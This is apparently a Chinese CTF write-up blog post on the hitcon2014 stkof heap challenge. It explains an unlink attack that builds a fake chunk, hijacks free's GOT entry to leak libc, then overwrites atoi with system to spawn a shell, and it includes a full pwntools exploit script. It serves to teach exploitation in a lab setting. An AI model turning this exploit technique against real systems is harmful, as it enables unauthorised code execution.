Rookie学堆——Unlink_hitcon2014-stkof

Unlink

1.stkof

在这里插入图片描述

程序分析:

首先根据选项把相应函数定义好:

//alloc():
v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s); //输入想要的chunk的大小
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  globals[++cnt] = v2; //在global存储chunk地址
  printf("%d\n", (unsigned int)cnt); //打印chunk号,cnt表明第几个chunk
  return 0LL;

//对应的wp函数:
def add(size):
	io.sendline(b'1')
	io.sendline(str(size))
	io.recvuntil('OK\n')
//fill():
  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s); //输入想要修改的chunk号
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  size = atoll(s); //输入将要修改chunk的内容的length,即下面要输入的payload的长度
  ptr = globals[idx]; //将指针指向要修改的chunk
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  } //输入payload
  if ( size )
    return 0xFFFFFFFFLL;
  else
    return 0LL;

//对应的wp函数
def edit(idx,text):
	io.sendline(b'2')
	io.sendline(str(idx))
	io.sendline(str(len(text)))
	io.send(text)
	io.recvuntil('OK\n')
//free_chunk
  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s); //输入想free调第几个chunk
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  free(globals[idx]); //free掉相应chunk
  globals[idx] = 0LL;  //指针复0
  return 0LL;

//对应的wp函数
def free(idx):
	io.sendline(b'3')
	io.sendline(str(idx))

另外比较重要的就是globals,用于存储各chunk的指针
在这里插入图片描述

保护情况:
checksec

Partial RELRO意味着可劫持got表

首先创建五个chunk:

add(0x20) #chunk1
add(0x40) #chunk2
add(0x30) #chunk3
add(0x80) #chunk4
add(0x30) #chunk5 第五个chunk没必要创建其实

请添加图片描述

此时global(0x602140)地址也存储上了各chunk地址

请添加图片描述

此时使用unlink(使指向某chunk的指针,unlink后指向&chunk-0x18)例如若对chunk3(0x602158)使用即可修改chunk3指针到chunk0–> 0x602140 = chunk3(0x602158 - 0x18),此时若再做edit(chunk3)就可从chunk0(0x602140)开始修改chunk0~5乃至以后的指针地址

具体利用:

chunk0 = 0x602140
chunk3 = 0x602158  #chunk0 + 0x18 
fd = chunk3 - 0x18 # fd + 0x18(p + 0x18 = bk) = chunk3
bk = chunk3 - 0x10 # bk + 0x10(p + 0x10 = fd) = chunk3
payload = p64(0) + p64(0x30) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + p64(0x90) # build fake_chunk
edit(3,payload)

请添加图片描述

unlink:

free(4)

fake_chunk和chunk4合并请添加图片描述

chunk3指向原chunk3(0x602158) - 0x18​ = 0x602140请添加图片描述

这时我们edit(3,payload):

puts_plt = elf.plt['puts']
puts_got = elf.got['puts'] #0x602020
free_got = elf.got['free'] #0x602018
atoi_got = elf.got['atoi']
payload = b'a'*0x8 + p64(free_got) + p64(puts_got)
#          chunk0        chunk1          chunk2 
edit(3,payload)

请添加图片描述

此时若再edit(chunk1)就是修改free函数got表的内容,我们这里把free函数修改为puts函数

edit(1,p64(puts_plt)) # 将free_got修改为puts_plt
free(2) # 执行puts_plt(puts_got)

再次执行free也就等于调用了puts函数,而2对应指向chunk2,也就是我们已提前修改的puts_got

请添加图片描述

这样就输出了puts_got,也就能泄露出libc基地址以及system等函数

puts_addr = u64(io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
slog('puts',puts_addr)
libc_base = puts_addr - libc.sym['puts']
slog('libc_base',libc_base)
sys_addr = libc_base + libc.sym['system']

此时我们发现main函数里有atoi(nptr),而npts又是有我们输入的

请添加图片描述

那只需将atoi函数got表的位置修改为system函数再输入/bin/sh,即可得到shell

请添加图片描述

#将chunk1位置修改为atoi_got的地址,再修改atoi_got修改为system函数
payload = b'a'*0x8 + p64(atoi_got)
edit(3,payload)
edit(1,p64(sys_addr))
bin_sh = b'/bin/sh\x00'
io.sendline(bin_sh)
from pwn import *
from ctypes import *
from time import sleep
from LibcSearcher import *
#context(arch = elf.arch,log_level = 'debug',os = 'linux')
context(arch = "amd64",os = "linux",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

file_name = 'pwn'
elf = ELF(file_name)
libc= ELF('./libc.so.6')
#libc= ELF('./libc-2.31.so')

debug = 0
if debug:
	io = remote('xyctf.top', 33611)
else:
	io = process(file_name)
def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")
# gdb.attach(io,'b *$rebase(0x124e)')

def add(size):
	io.sendline(b'1')
	io.sendline(str(size))
	io.recvuntil('OK\n')

def free(idx):
	io.sendline(b'3')
	io.sendline(str(idx))

def edit(idx,text):
	io.sendline(b'2')
	io.sendline(str(idx))
	io.sendline(str(len(text)))
	io.send(text)
	io.recvuntil('OK\n')

#创建chunk
add(0x20) #chunk1
add(0x40) #chunk2
add(0x30) #chunk3
add(0x80) #chunk4
add(0x30) #chunk5

#unlink
chunk0 = 0x602140
chunk3 = 0x602158  #chunk0 + 0x18 
fd = chunk3 - 0x18 # fd + 0x18(p + 0x18 = bk) = chunk3
bk = chunk3 - 0x10 # bk + 0x10(p + 0x10 = fd) = chunk3
payload = p64(0) + p64(0x30) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + p64(0x90) # build fake_chunk
edit(3,payload)
free(4)
io.recvuntil('OK\n')

#泄露Libc地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
payload = b'a'*0x8 + p64(free_got) + p64(puts_got)
#          chunk0        chunk1          chunk2 
edit(3,payload)

edit(1,p64(puts_plt)) # 将free_got修改为puts_plt
free(2) # 执行puts_plt(puts_got)

puts_addr = u64(io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
slog('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym['puts']
slog('libc_base',libc_base)
sys_addr = libc_base + libc.sym['system']

#将chunk1位置修改为atoi_got的地址,再修改atoi_got修改为system函数
payload = b'a'*0x8 + p64(atoi_got)
edit(3,payload)
edit(1,p64(sys_addr))
bin_sh = b'/bin/sh\x00'
io.sendline(bin_sh)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值